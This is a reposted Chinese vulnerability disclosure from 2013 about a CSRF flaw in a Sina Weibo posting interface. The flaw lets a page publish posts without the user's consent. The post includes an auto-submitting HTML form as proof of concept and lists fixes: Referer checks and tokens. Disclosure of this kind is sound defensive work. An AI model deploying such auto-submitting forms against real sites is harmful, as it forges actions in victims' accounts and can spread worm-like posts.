新浪微博某处CSRF漏洞，可能导致蠕虫蔓延，涛涛电脑知识网，在未经用户同意的情况下发布微博
详细说明：在接受POST和GET的信息的时候，未对POST来路(Referer)进行验证，同时也没有在POST的信息中加token验证信息的正确性，导致漏洞产生。
漏洞地址：
<html>
<body>
<form id="imlonghao" name="imlonghao" action="" method="post">
<input type="text" name="content" value=" " />
<input type="text" name="_t" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息会报错误，www.xuhantao.com，但是不影响
修复方案：
检查POST来路Referer
在POST的信息中加token
作者 imlonghao
新浪微博某处CSRF漏洞
时间：2013/4/19 12:09:00 作者：平凡之路 来源：xuhantao.com 浏览：
相关文章
- 没有相关文章
本类热门
- 05-19·记事狗2.5.0鸡肋注入漏洞
- 05-19·动易xss拿站小记
- 04-19·记一次有趣的提权
- 04-19·TNTHK小组内部版后门解析
- 05-19·新版百度空间存储型XSS
- 04-19·ecmall 2.3.0-0918-scgbk注入及修复
- 05-19·Z-Blog1.8绕过权限漏洞
- 05-19·ThinkPHP最新版3.0RC1存在XSS漏洞
- 04-19·Wordpree插件评论啦代码审计不严
- 04-19·绕过CDN查找真实IP的思路，一个新颖并另类的方法
本类推荐
- 05-19·IIS7.5畸形解析拿shell利用方法
- 05-19·从对一个安全产品的测试看产品架构安全
- 05-19·mysql被降权提权思路
- 05-19·记一次win2003垃圾提权
本类固顶
- 暂无信息
网站备案号：蒙ICP备15000590号-1